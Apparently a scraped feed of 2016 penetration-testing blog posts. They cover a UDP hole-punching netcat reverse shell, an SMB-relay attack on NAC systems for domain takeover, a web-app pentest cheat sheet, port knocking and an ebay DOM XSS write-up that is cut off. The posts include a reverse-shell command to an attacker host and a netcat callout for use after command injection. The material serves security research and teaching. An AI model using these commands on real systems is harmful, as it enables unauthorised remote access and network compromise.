<img class="myimg" src="data:image/gif;base64,R0lGODlhEAAQAOYAAPSRNut/MvqcOfudOviZOfz18P/58+6FNOh5MeZ/M/aUN/KNNeZ0L+mFNfCJNO6FM/748uNuLv7y5tpeKud4L+yKNuF4MeyBMuBqLep9MeN5MuN5MfmdQeiDNN5lLP3x5t5vL99xMNxhK/3ateF0MOuJNeiFNf738uV0LuJ2MeeBM95wMOV8MuiCNPzChOqHNd1uL+R7MuV9MumINvqsXvrOp/ivae6RTPSmZ+6aZPnIm+l+OfS9mPieRO+NQe6rif7s2vmlUu6ylfG3l/u5d+B1RfOkZ++dZPSsc/zZtfetaf3fwf7x5vKjZuaLYPi/jvabRPKTQvSygPupUvqiRv7mzvfDmfi0deyWY/ehUOiJVffUvvWpaPzjzfrDj+qJSfXAmPW/mf3lzfmfRfvm2PnXv+JwNvq+g/uvXuR8R/qzavrTs/eXOPmaOfWSN/GLNeqwh////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAAAAAAALAAAAAAQABAAAAfpgAVwFhsxMgkqHQ0vJRUzcII7KBQZFw8OCwAKbG0CHIMoXzxgTZianAIDBCYbFEdxsBA6UKiqbg0xGTdWax+wBkSpBG5vLTKWpjZAsC7DbwcJCQ84EF1ePW0jsFfPASwqDlywcQZoA0lxED4BCBodmVlnEuQ0br5hCAwpDadtVNpMoiCJc4JBBBIvNi2p4mLMPCkBTsTRgiFECTZqYIlx8yROGQRb4vzwAKJCmykG4tR4YyQOGQZD4ggRAWNGqiBKuuXAEiGNkyITVsDh4OwAO4MYPIiYYAYSHBMNWiRgoSEFiRAgYAgtEAgAOw==" style="height: 20px; width: 20px;" /></a>nopernikhttp://www.blogger.com/profile/11549169563852115328noreply@blogger.com1tag:blogger.com,1999:blog-343942367941320523.post-12456773362635182842016-07-17T00:37:00.000+03:002016-07-17T07:06:11.322+03:00Attack Flow DiagramHi there,<br />
I've tried to organize common tasks within internal network penetration testing. Haven't seen something like this before..<br />
<br />
PDF can be found here: <a href="http://sudo.co.il/attack_flow.pdf">http://sudo.co.il/attack_flow.pdf</a><br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://sudo.co.il/attack_flow_nopernik.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="hacking, attack flow, penetration testing" border="0" src="http://sudo.co.il/attack_flow_nopernik.png" height="640" title="" width="401" /></a></div>
<br />
Many aspects are excluded from this diagram, and i'm pretty sure that i forgot something.<br />
Guys, i will be more than happy to hear suggestions on upgrading this diagram.
<p><a class="twitter-follow-button" data-show-count="false" href="https://twitter.com/nopernik">Follow @nopernik</a>
<script>!function(d,s,id){var js,fjs=d.getElementsByTagName(s)[0],p=/^http:/.test(d.location)?'http':'https';if(!d.getElementById(id)){js=d.createElement(s);js.id=id;js.src=p+'://platform.twitter.com/widgets.js';fjs.parentNode.insertBefore(js,fjs);}}(document, 'script', 'twitter-wjs');</script><a href="http://www.korznikov.com/feeds/posts/default" title="Subscribe to my feed">
<img class="myimg" src="data:image/gif;base64,R0lGODlhEAAQAOYAAPSRNut/MvqcOfudOviZOfz18P/58+6FNOh5MeZ/M/aUN/KNNeZ0L+mFNfCJNO6FM/748uNuLv7y5tpeKud4L+yKNuF4MeyBMuBqLep9MeN5MuN5MfmdQeiDNN5lLP3x5t5vL99xMNxhK/3ateF0MOuJNeiFNf738uV0LuJ2MeeBM95wMOV8MuiCNPzChOqHNd1uL+R7MuV9MumINvqsXvrOp/ivae6RTPSmZ+6aZPnIm+l+OfS9mPieRO+NQe6rif7s2vmlUu6ylfG3l/u5d+B1RfOkZ++dZPSsc/zZtfetaf3fwf7x5vKjZuaLYPi/jvabRPKTQvSygPupUvqiRv7mzvfDmfi0deyWY/ehUOiJVffUvvWpaPzjzfrDj+qJSfXAmPW/mf3lzfmfRfvm2PnXv+JwNvq+g/uvXuR8R/qzavrTs/eXOPmaOfWSN/GLNeqwh////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAAAAAAALAAAAAAQABAAAAfpgAVwFhsxMgkqHQ0vJRUzcII7KBQZFw8OCwAKbG0CHIMoXzxgTZianAIDBCYbFEdxsBA6UKiqbg0xGTdWax+wBkSpBG5vLTKWpjZAsC7DbwcJCQ84EF1ePW0jsFfPASwqDlywcQZoA0lxED4BCBodmVlnEuQ0br5hCAwpDadtVNpMoiCJc4JBBBIvNi2p4mLMPCkBTsTRgiFECTZqYIlx8yROGQRb4vzwAKJCmykG4tR4YyQOGQZD4ggRAWNGqiBKuuXAEiGNkyITVsDh4OwAO4MYPIiYYAYSHBMNWiRgoSEFiRAgYAgtEAgAOw==" style="height:20px;width:20px;"/></a>nopernikhttp://www.blogger.com/profile/11549169563852115328noreply@blogger.com4tag:blogger.com,1999:blog-343942367941320523.post-59041864221270573662016-07-11T17:05:00.001+03:002016-07-17T07:05:21.407+03:00LAN to VPN Reverse shell (UDP Hole punching)Did you know that you can use netcat in UDP mode?<br />
<br />
Why it is useful?<br />
<br />
Imagine two hosts: Alice and Bob that both located behind NAT. And they want to exchange some data... In TCP scheme you can't accomplish that without port forwarding, but with UDP...<br />
<br />
This technique called UDP hole punching:<br />
1. Alice sends packet to Bob's public IP, lets say 2.2.2.2, any statefull packet inspection (SPI) firewall will start session from Alice local host to 2.2.2.2:1234.<br />
2. Bob's firewall will drop that packet.<br />
3. Bob sends another packet to Alice's public IP, lets say 3.3.3.3:1234, and again Bob's SPI firewall will start session.<br />
4. Woala! Alice got UDP packet from bob.<br />
From now, both Alive and Bob have opened sessions and may communicate each other without interference.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://4.bp.blogspot.com/-g0RTMYkw5TA/V4OtZ5MH9rI/AAAAAAAABUw/awd0tZbgZU01du7h0ias_Nrvt4lvXz5SgCLcB/s1600/Untitled%2BDiagram.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="250" src="https://4.bp.blogspot.com/-g0RTMYkw5TA/V4OtZ5MH9rI/AAAAAAAABUw/awd0tZbgZU01du7h0ias_Nrvt4lvXz5SgCLcB/s640/Untitled%2BDiagram.png" width="640" /></a></div>
<br />
<br />
How it may look from an attacker's view?<br />
Easy. Hacker that stay behind of some kind VPN may get reverse shell on your local host in enterprise network.<br />
This way:<br />
<br />
On attacker host:
<br />
<pre class="black">nc -up vpn_port attackerVPNpublicIP victim_source_port
</pre>
<br />
On victim host:
<br />
<pre class="black">nc -up victim_source_port attackerVPNpublicIP vpn_port -e c:\windows\system32\cmd.exe
</pre>
<br />
Proof of Concept:<br />
Any bittorrent client :)<br />
<br />
<br />
More info:<br />
<a href="https://en.wikipedia.org/wiki/UDP_hole_punching">https://en.wikipedia.org/wiki/UDP_hole_punching</a><br />
<a href="http://resources.infosecinstitute.com/udp-hole-punching/">http://resources.infosecinstitute.com/udp-hole-punching/</a><br />
<br />
<br />
<p><a class="twitter-follow-button" data-show-count="false" href="https://twitter.com/nopernik">Follow @nopernik</a>
<script>!function(d,s,id){var js,fjs=d.getElementsByTagName(s)[0],p=/^http:/.test(d.location)?'http':'https';if(!d.getElementById(id)){js=d.createElement(s);js.id=id;js.src=p+'://platform.twitter.com/widgets.js';fjs.parentNode.insertBefore(js,fjs);}}(document, 'script', 'twitter-wjs');</script><a href="http://www.korznikov.com/feeds/posts/default" title="Subscribe to my feed">
<img class="myimg" src="data:image/gif;base64,R0lGODlhEAAQAOYAAPSRNut/MvqcOfudOviZOfz18P/58+6FNOh5MeZ/M/aUN/KNNeZ0L+mFNfCJNO6FM/748uNuLv7y5tpeKud4L+yKNuF4MeyBMuBqLep9MeN5MuN5MfmdQeiDNN5lLP3x5t5vL99xMNxhK/3ateF0MOuJNeiFNf738uV0LuJ2MeeBM95wMOV8MuiCNPzChOqHNd1uL+R7MuV9MumINvqsXvrOp/ivae6RTPSmZ+6aZPnIm+l+OfS9mPieRO+NQe6rif7s2vmlUu6ylfG3l/u5d+B1RfOkZ++dZPSsc/zZtfetaf3fwf7x5vKjZuaLYPi/jvabRPKTQvSygPupUvqiRv7mzvfDmfi0deyWY/ehUOiJVffUvvWpaPzjzfrDj+qJSfXAmPW/mf3lzfmfRfvm2PnXv+JwNvq+g/uvXuR8R/qzavrTs/eXOPmaOfWSN/GLNeqwh////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAAAAAAALAAAAAAQABAAAAfpgAVwFhsxMgkqHQ0vJRUzcII7KBQZFw8OCwAKbG0CHIMoXzxgTZianAIDBCYbFEdxsBA6UKiqbg0xGTdWax+wBkSpBG5vLTKWpjZAsC7DbwcJCQ84EF1ePW0jsFfPASwqDlywcQZoA0lxED4BCBodmVlnEuQ0br5hCAwpDadtVNpMoiCJc4JBBBIvNi2p4mLMPCkBTsTRgiFECTZqYIlx8yROGQRb4vzwAKJCmykG4tR4YyQOGQZD4ggRAWNGqiBKuuXAEiGNkyITVsDh4OwAO4MYPIiYYAYSHBMNWiRgoSEFiRAgYAgtEAgAOw==" style="height:20px;width:20px;"/></a>nopernikhttp://www.blogger.com/profile/11549169563852115328noreply@blogger.com3tag:blogger.com,1999:blog-343942367941320523.post-44580098755031599262016-07-09T15:38:00.000+03:002016-07-17T07:05:09.958+03:00RCE by abusing NAC to gain Domain Persistence.Hi there!<br />
I want to share <b>how to compromise whole enterprise network in less than ONE minute</b> :)<br />
<br />
If you'll refer to this article, please leave credit to Alexander Korznikov & Viktor Minin.. thanks.<br />
<br />
Let's begin... As security consultants, we often advice to our clients to implement Network Access Control systems to prevent some nasty people to do their nasty things...<br />
<br />
This article is not about how to bypass Network Access Control systems, but if you're interested, read this: <a href="http://www.blackhat.com/presentations/bh-usa-06/BH-US-06-Arkin.pdf">http://www.blackhat.com/presentations/bh-usa-06/BH-US-06-Arkin.pdf</a><br />
In two words, NAT can bypass almost everything and stay undetectable in enterprise network.<br />
<br />
So when somebody (huge organisations) implementing NAC in their network environment, they are implementing a huge backdoor - called NAC.<br />
<div>
<br /></div>
Let me explain some NAC logic:<br />
1. Check for trusted MAC address.<br />
2. Check installed components/registry keys in workstation via WMI interface.<br />
3. Check another stuff in workstation's NAC agent.<br />
<br />
Wait for a second. How NAC will connect to a workstation to check (2) Registry Keys via WMI?<br />
Right. SMB Authentication with highly privileged account, in Domain Admin group.<br />
<br />
Let's assume these:<br />
1. We have a list of workstation's IPs gathered in passive reconnaissance (wireshark for example)<br />
2. We know which IP belongs to Domain Contoller.<br />
<br />
Is something or someone can prevent me from performing SMB-Relay attack? NO!<br />
On servers this will not work, because of SMB Signing option is required.<br />
<br />
We take some workstation IP address, and while NAC is performing it's host validation, we will relay SMB authentication to legitimate workstation.<br />
<br />
It is trivial, but as result we are able to:<br />
1. Reuse this authentication token and create a new <b>Domain Admin account</b>.<br />
2. In case if this fails, we can create a local administrator account on <b>ANY workstation</b>.<br />
3. Extract credentials of <b>ALL local users including local admins.</b><br />
4. Gain full control of the corporate network, including Domain Admin accounts.<br />
<br />
All this is done in <b>less than ONE minute</b>, before the port will be closed (by NAC).<br />
<br />
This issue was tested on several Network Access Control systems.<br />
<br />
Bottom line: Think twice before advice.<br />
<br />
Leave credits to:<br />
Alexander Korznikov & Viktor Minin
<p><a class="twitter-follow-button" data-show-count="false" href="https://twitter.com/nopernik">Follow @nopernik</a>
<script>!function(d,s,id){var js,fjs=d.getElementsByTagName(s)[0],p=/^http:/.test(d.location)?'http':'https';if(!d.getElementById(id)){js=d.createElement(s);js.id=id;js.src=p+'://platform.twitter.com/widgets.js';fjs.parentNode.insertBefore(js,fjs);}}(document, 'script', 'twitter-wjs');</script><a href="http://www.korznikov.com/feeds/posts/default" title="Subscribe to my feed">
<img class="myimg" src="data:image/gif;base64,R0lGODlhEAAQAOYAAPSRNut/MvqcOfudOviZOfz18P/58+6FNOh5MeZ/M/aUN/KNNeZ0L+mFNfCJNO6FM/748uNuLv7y5tpeKud4L+yKNuF4MeyBMuBqLep9MeN5MuN5MfmdQeiDNN5lLP3x5t5vL99xMNxhK/3ateF0MOuJNeiFNf738uV0LuJ2MeeBM95wMOV8MuiCNPzChOqHNd1uL+R7MuV9MumINvqsXvrOp/ivae6RTPSmZ+6aZPnIm+l+OfS9mPieRO+NQe6rif7s2vmlUu6ylfG3l/u5d+B1RfOkZ++dZPSsc/zZtfetaf3fwf7x5vKjZuaLYPi/jvabRPKTQvSygPupUvqiRv7mzvfDmfi0deyWY/ehUOiJVffUvvWpaPzjzfrDj+qJSfXAmPW/mf3lzfmfRfvm2PnXv+JwNvq+g/uvXuR8R/qzavrTs/eXOPmaOfWSN/GLNeqwh////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAAAAAAALAAAAAAQABAAAAfpgAVwFhsxMgkqHQ0vJRUzcII7KBQZFw8OCwAKbG0CHIMoXzxgTZianAIDBCYbFEdxsBA6UKiqbg0xGTdWax+wBkSpBG5vLTKWpjZAsC7DbwcJCQ84EF1ePW0jsFfPASwqDlywcQZoA0lxED4BCBodmVlnEuQ0br5hCAwpDadtVNpMoiCJc4JBBBIvNi2p4mLMPCkBTsTRgiFECTZqYIlx8yROGQRb4vzwAKJCmykG4tR4YyQOGQZD4ggRAWNGqiBKuuXAEiGNkyITVsDh4OwAO4MYPIiYYAYSHBMNWiRgoSEFiRAgYAgtEAgAOw==" style="height:20px;width:20px;"/></a>nopernikhttp://www.blogger.com/profile/11549169563852115328noreply@blogger.com5tag:blogger.com,1999:blog-343942367941320523.post-1348558154583215642016-06-20T23:13:00.002+03:002016-07-17T07:04:59.269+03:00XSS Challenges for All levels. Check this out!Just updated the challenges.<br />
<br />
<a href="http://www.sudo.co.il/xss/">http://www.sudo.co.il/xss/</a><br />
<br />
Stay tuned.
<p><a class="twitter-follow-button" data-show-count="false" href="https://twitter.com/nopernik">Follow @nopernik</a>
<script>!function(d,s,id){var js,fjs=d.getElementsByTagName(s)[0],p=/^http:/.test(d.location)?'http':'https';if(!d.getElementById(id)){js=d.createElement(s);js.id=id;js.src=p+'://platform.twitter.com/widgets.js';fjs.parentNode.insertBefore(js,fjs);}}(document, 'script', 'twitter-wjs');</script><a href="http://www.korznikov.com/feeds/posts/default" title="Subscribe to my feed">
<img class="myimg" src="data:image/gif;base64,R0lGODlhEAAQAOYAAPSRNut/MvqcOfudOviZOfz18P/58+6FNOh5MeZ/M/aUN/KNNeZ0L+mFNfCJNO6FM/748uNuLv7y5tpeKud4L+yKNuF4MeyBMuBqLep9MeN5MuN5MfmdQeiDNN5lLP3x5t5vL99xMNxhK/3ateF0MOuJNeiFNf738uV0LuJ2MeeBM95wMOV8MuiCNPzChOqHNd1uL+R7MuV9MumINvqsXvrOp/ivae6RTPSmZ+6aZPnIm+l+OfS9mPieRO+NQe6rif7s2vmlUu6ylfG3l/u5d+B1RfOkZ++dZPSsc/zZtfetaf3fwf7x5vKjZuaLYPi/jvabRPKTQvSygPupUvqiRv7mzvfDmfi0deyWY/ehUOiJVffUvvWpaPzjzfrDj+qJSfXAmPW/mf3lzfmfRfvm2PnXv+JwNvq+g/uvXuR8R/qzavrTs/eXOPmaOfWSN/GLNeqwh////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAAAAAAALAAAAAAQABAAAAfpgAVwFhsxMgkqHQ0vJRUzcII7KBQZFw8OCwAKbG0CHIMoXzxgTZianAIDBCYbFEdxsBA6UKiqbg0xGTdWax+wBkSpBG5vLTKWpjZAsC7DbwcJCQ84EF1ePW0jsFfPASwqDlywcQZoA0lxED4BCBodmVlnEuQ0br5hCAwpDadtVNpMoiCJc4JBBBIvNi2p4mLMPCkBTsTRgiFECTZqYIlx8yROGQRb4vzwAKJCmykG4tR4YyQOGQZD4ggRAWNGqiBKuuXAEiGNkyITVsDh4OwAO4MYPIiYYAYSHBMNWiRgoSEFiRAgYAgtEAgAOw==" style="height:20px;width:20px;"/></a>nopernikhttp://www.blogger.com/profile/11549169563852115328noreply@blogger.com2tag:blogger.com,1999:blog-343942367941320523.post-24734719824836626332016-06-07T03:17:00.001+03:002016-07-17T07:04:47.685+03:00Web-App Penetration Testing Cheat-SheetTarget: example.com<br />
<ol>
<li>example.com/<b>robots.txt</b></li>
<li>Login Page? <b>Default Credentials</b>.</li>
<li>Wordpress: <b>wpscan --url example.com --enumerate vp --random-agent</b></li>
<li><b>nikto -host test.com</b></li>
<li><b>wfuzz -I -c t 60 -w your_dictionary.txt --hc 404,302 http://example.com/FUZZ.php</b> // i like it more than dirbuster</li>
<li>Open Burp Suite, explore application, analyze requests/responses.</li>
<li>Pass to every parameter character validation locator <b>'">my_string\</b> //there Apostrophe, Quote and escaping char at the end.</li>
<li>Configure Burp to intercept responses if "my_string" is found. // This may reveal XSS & SQL Injection and other errors</li>
<li>Is there <b>file upload</b> functionality?</li>
<li>"page" param in url? LFI/RFI?</li>
<li>XML? XXE.</li>
<li>See console-alike output? Command Injection?</li>
<li>In case of command injection, don't forget to: <b>nc sudo.co.il 5353</b></li>
<li>Is there <b>WebSockets</b>? Open network tab in browser or Burp Suite for easy examination.</li>
<li>Google for outdated scripts: <b>site:example.com ext:php</b></li>
<li>In google's results, append to the end of url: <b>&filter=0&start=900</b> to analyze most outdated results.</li>
<li>Look for application logic issues: like sending <b>price</b> in request.</li>
<li><b>Suggestions??</b></li>
</ol>
<br />
<br />
quick post... any suggestions?<br />
<br />
<p><a class="twitter-follow-button" data-show-count="false" href="https://twitter.com/nopernik">Follow @nopernik</a>
<script>!function(d,s,id){var js,fjs=d.getElementsByTagName(s)[0],p=/^http:/.test(d.location)?'http':'https';if(!d.getElementById(id)){js=d.createElement(s);js.id=id;js.src=p+'://platform.twitter.com/widgets.js';fjs.parentNode.insertBefore(js,fjs);}}(document, 'script', 'twitter-wjs');</script><a href="http://www.korznikov.com/feeds/posts/default" title="Subscribe to my feed">
<img class="myimg" src="data:image/gif;base64,R0lGODlhEAAQAOYAAPSRNut/MvqcOfudOviZOfz18P/58+6FNOh5MeZ/M/aUN/KNNeZ0L+mFNfCJNO6FM/748uNuLv7y5tpeKud4L+yKNuF4MeyBMuBqLep9MeN5MuN5MfmdQeiDNN5lLP3x5t5vL99xMNxhK/3ateF0MOuJNeiFNf738uV0LuJ2MeeBM95wMOV8MuiCNPzChOqHNd1uL+R7MuV9MumINvqsXvrOp/ivae6RTPSmZ+6aZPnIm+l+OfS9mPieRO+NQe6rif7s2vmlUu6ylfG3l/u5d+B1RfOkZ++dZPSsc/zZtfetaf3fwf7x5vKjZuaLYPi/jvabRPKTQvSygPupUvqiRv7mzvfDmfi0deyWY/ehUOiJVffUvvWpaPzjzfrDj+qJSfXAmPW/mf3lzfmfRfvm2PnXv+JwNvq+g/uvXuR8R/qzavrTs/eXOPmaOfWSN/GLNeqwh////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAAAAAAALAAAAAAQABAAAAfpgAVwFhsxMgkqHQ0vJRUzcII7KBQZFw8OCwAKbG0CHIMoXzxgTZianAIDBCYbFEdxsBA6UKiqbg0xGTdWax+wBkSpBG5vLTKWpjZAsC7DbwcJCQ84EF1ePW0jsFfPASwqDlywcQZoA0lxED4BCBodmVlnEuQ0br5hCAwpDadtVNpMoiCJc4JBBBIvNi2p4mLMPCkBTsTRgiFECTZqYIlx8yROGQRb4vzwAKJCmykG4tR4YyQOGQZD4ggRAWNGqiBKuuXAEiGNkyITVsDh4OwAO4MYPIiYYAYSHBMNWiRgoSEFiRAgYAgtEAgAOw==" style="height:20px;width:20px;"/></a>nopernikhttp://www.blogger.com/profile/11549169563852115328noreply@blogger.com3tag:blogger.com,1999:blog-343942367941320523.post-42654652674797672842016-06-07T03:04:00.002+03:002016-07-17T07:04:27.223+03:00Knocking Server in 50 lines with ScapyYou may prefer knockd daemon, but i prefer something custom.. as always.<br />
<br />
If you don't know what it is, google for Port Knocking.<br />
<br />
Get my knocking client-server:<br />
<b>git clone https://github.com/nopernik/knocking-client-server</b><br />
<br />
On server-side, i have this iptables config:<br />
<br />
<pre class="black">root@ubuntu:~# iptables-save
*filter
:INPUT <b>DROP</b> [0:0]
:FORWARD <b>DROP</b> [0:0]
:OUTPUT <b>DROP</b> [0:0]
-A INPUT -i lo -j ACCEPT
-A INPUT -m conntrack --ctstate RELATED,ESTABLISHED -j ACCEPT
-A OUTPUT -o lo -j ACCEPT
-A OUTPUT -m conntrack --ctstate RELATED,ESTABLISHED -j ACCEPT
COMMIT
</pre>
<br />
I'm using whitelisting technique, so all policies set to <b>DROP.</b><br />
This particular machine will not reply to pings, and will seem to be down.<br />
<br />
But, it runs my knocking server and web server in background.<br /><b>It will accept connection to the web server only if knocking-client will active.</b><br />
<b><br /></b>
Configuration is pretty simple, just open the source.
<p><a class="twitter-follow-button" data-show-count="false" href="https://twitter.com/nopernik">Follow @nopernik</a>
<script>!function(d,s,id){var js,fjs=d.getElementsByTagName(s)[0],p=/^http:/.test(d.location)?'http':'https';if(!d.getElementById(id)){js=d.createElement(s);js.id=id;js.src=p+'://platform.twitter.com/widgets.js';fjs.parentNode.insertBefore(js,fjs);}}(document, 'script', 'twitter-wjs');</script><a href="http://www.korznikov.com/feeds/posts/default" title="Subscribe to my feed">
<img class="myimg" src="data:image/gif;base64,R0lGODlhEAAQAOYAAPSRNut/MvqcOfudOviZOfz18P/58+6FNOh5MeZ/M/aUN/KNNeZ0L+mFNfCJNO6FM/748uNuLv7y5tpeKud4L+yKNuF4MeyBMuBqLep9MeN5MuN5MfmdQeiDNN5lLP3x5t5vL99xMNxhK/3ateF0MOuJNeiFNf738uV0LuJ2MeeBM95wMOV8MuiCNPzChOqHNd1uL+R7MuV9MumINvqsXvrOp/ivae6RTPSmZ+6aZPnIm+l+OfS9mPieRO+NQe6rif7s2vmlUu6ylfG3l/u5d+B1RfOkZ++dZPSsc/zZtfetaf3fwf7x5vKjZuaLYPi/jvabRPKTQvSygPupUvqiRv7mzvfDmfi0deyWY/ehUOiJVffUvvWpaPzjzfrDj+qJSfXAmPW/mf3lzfmfRfvm2PnXv+JwNvq+g/uvXuR8R/qzavrTs/eXOPmaOfWSN/GLNeqwh////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAAAAAAALAAAAAAQABAAAAfpgAVwFhsxMgkqHQ0vJRUzcII7KBQZFw8OCwAKbG0CHIMoXzxgTZianAIDBCYbFEdxsBA6UKiqbg0xGTdWax+wBkSpBG5vLTKWpjZAsC7DbwcJCQ84EF1ePW0jsFfPASwqDlywcQZoA0lxED4BCBodmVlnEuQ0br5hCAwpDadtVNpMoiCJc4JBBBIvNi2p4mLMPCkBTsTRgiFECTZqYIlx8yROGQRb4vzwAKJCmykG4tR4YyQOGQZD4ggRAWNGqiBKuuXAEiGNkyITVsDh4OwAO4MYPIiYYAYSHBMNWiRgoSEFiRAgYAgtEAgAOw==" style="height:20px;width:20px;"/></a>nopernikhttp://www.blogger.com/profile/11549169563852115328noreply@blogger.com0tag:blogger.com,1999:blog-343942367941320523.post-76806243097795527102016-05-01T13:05:00.002+03:002016-07-17T07:04:11.572+03:00My XSS ChallengeTry your XSS skills:<br />
<br />
<a href="http://sudo.co.il/xss/">http://sudo.co.il/xss/</a><br />
<br />
Feedback are welcome!
<p><a class="twitter-follow-button" data-show-count="false" href="https://twitter.com/nopernik">Follow @nopernik</a>
<script>!function(d,s,id){var js,fjs=d.getElementsByTagName(s)[0],p=/^http:/.test(d.location)?'http':'https';if(!d.getElementById(id)){js=d.createElement(s);js.id=id;js.src=p+'://platform.twitter.com/widgets.js';fjs.parentNode.insertBefore(js,fjs);}}(document, 'script', 'twitter-wjs');</script><a href="http://www.korznikov.com/feeds/posts/default" title="Subscribe to my feed">
<img class="myimg" src="data:image/gif;base64,R0lGODlhEAAQAOYAAPSRNut/MvqcOfudOviZOfz18P/58+6FNOh5MeZ/M/aUN/KNNeZ0L+mFNfCJNO6FM/748uNuLv7y5tpeKud4L+yKNuF4MeyBMuBqLep9MeN5MuN5MfmdQeiDNN5lLP3x5t5vL99xMNxhK/3ateF0MOuJNeiFNf738uV0LuJ2MeeBM95wMOV8MuiCNPzChOqHNd1uL+R7MuV9MumINvqsXvrOp/ivae6RTPSmZ+6aZPnIm+l+OfS9mPieRO+NQe6rif7s2vmlUu6ylfG3l/u5d+B1RfOkZ++dZPSsc/zZtfetaf3fwf7x5vKjZuaLYPi/jvabRPKTQvSygPupUvqiRv7mzvfDmfi0deyWY/ehUOiJVffUvvWpaPzjzfrDj+qJSfXAmPW/mf3lzfmfRfvm2PnXv+JwNvq+g/uvXuR8R/qzavrTs/eXOPmaOfWSN/GLNeqwh////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAAAAAAALAAAAAAQABAAAAfpgAVwFhsxMgkqHQ0vJRUzcII7KBQZFw8OCwAKbG0CHIMoXzxgTZianAIDBCYbFEdxsBA6UKiqbg0xGTdWax+wBkSpBG5vLTKWpjZAsC7DbwcJCQ84EF1ePW0jsFfPASwqDlywcQZoA0lxED4BCBodmVlnEuQ0br5hCAwpDadtVNpMoiCJc4JBBBIvNi2p4mLMPCkBTsTRgiFECTZqYIlx8yROGQRb4vzwAKJCmykG4tR4YyQOGQZD4ggRAWNGqiBKuuXAEiGNkyITVsDh4OwAO4MYPIiYYAYSHBMNWiRgoSEFiRAgYAgtEAgAOw==" style="height:20px;width:20px;"/></a>nopernikhttp://www.blogger.com/profile/11549169563852115328noreply@blogger.com17tag:blogger.com,1999:blog-343942367941320523.post-8276064725939458372016-02-17T10:47:00.000+02:002016-07-17T07:03:30.230+03:00Persistent (Stored) DOM XSS on ebay.com domain<br />
Persistent DOM XSS on ebay.com domain.<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://4.bp.blogspot.com/-Pcq4MXqLcAU/VmUGTfmvC_I/AAAAAAAABQM/rfOQ3UHUKt8/s1600/ebay-08.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="376" src="https://4.bp.blogspot.com/-Pcq4MXqLcAU/VmUGTfmvC_I/AAAAAAAABQM/rfOQ3UHUKt8/s640/ebay-08.png" width="640" /></a></div>
<br />
<br />
<br />
In details... :)<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<iframe width="320" height="266" class="YOUTUBE-iframe-video" data-thumbnail-src="https://i.ytimg.com/s_vi/ESQMcCepqLk/default.jpg?sqp=CIzmkLYF&rs=AOn4CLD7CYqSTwTEYfmw5AcxQvKpHPH-_Q" src="https://www.youtube.com/embed/ESQMcCepqLk?feature=player_embedded" frameborder="0" allowfullscreen></iframe></div>
<br />
<br />
One of my hobbies, is selling on ebay.<br />
In January 2015, i've analyzed creation of selling page, and how it's handled by ebay.com.<br />
<br />
If we look at random listing, we'll notice, that user's content loaded from ebaydesc.com, so if you try to execute some javascript on your custom listing, you will get alert from http://vi.vipr.ebaydesc.com.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://2.bp.blogspot.com/-_DBGlpJZ_lA/VmT0mERzOzI/AAAAAAAABO0/T3k2jqgFSwM/s1600/Screenshot%2Bfrom%2B2015-01-23%2B03%253A21%253A49.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="185" src="https://2.bp.blogspot.com/-_DBGlpJZ_lA/VmT0mERzOzI/AAAAAAAABO0/T3k2jqgFSwM/s400/Screenshot%2Bfrom%2B2015-01-23%2B03%253A21%253A49.png" width="400" /></a></div>
<br />
<br />
It's ok, it's "secure".<br />
<br />
But, if we'll go deeper, we will notice that our page load one strange external javascript at the bottom of user's content page:<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://1.bp.blogspot.com/-5dwINQ9_1BE/VmT1JVV5ySI/AAAAAAAABPA/_65c21TzAtQ/s1600/Screenshot%2Bfrom%2B2015-01-23%2B03%253A45%253A38.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="79" src="https://1.bp.blogspot.com/-5dwINQ9_1BE/VmT1JVV5ySI/AAAAAAAABPA/_65c21TzAtQ/s640/Screenshot%2Bfrom%2B2015-01-23%2B03%253A45%253A38.png" width="640" /></a></div>
<br />
<br />
By analyzing that script, i've notices that there presents postMessage function:<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://3.bp.blogspot.com/-w64mrXI9K_s/VmT237GtAfI/AAAAAAAABPM/vud9htneuJw/s1600/ebay-02.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="251" src="https://3.bp.blogspot.com/-w64mrXI9K_s/VmT237GtAfI/AAAAAAAABPM/vud9htneuJw/s640/ebay-02.png" width="640" /></a></div>
<br />
<br />
<br />
and... if there is postMessage, so somewhere should be some kind of receiveMessage().<br />
There are a lot of postMessages, and i've decided to search by domain name.<br />
<br />
Let's search for <b>vi.vipr.ebaydesc.com</b> in all resources:<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://1.bp.blogspot.com/-vaoCPTHNlr8/VmUCWxeaYUI/AAAAAAAABP0/YASQ4id1-js/s1600/ebay-06.png" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" height="75" src="https://1.bp.blogspot.com/-vaoCPTHNlr8/VmUCWxeaYUI/AAAAAAAABP0/YASQ4id1-js/s640/ebay-06.png" width="640" /></a></div>
<br />
<br />
<br />
<br />
<br />
<br />
then it's key '<b>tgto</b>' as origin:<br />
<br />
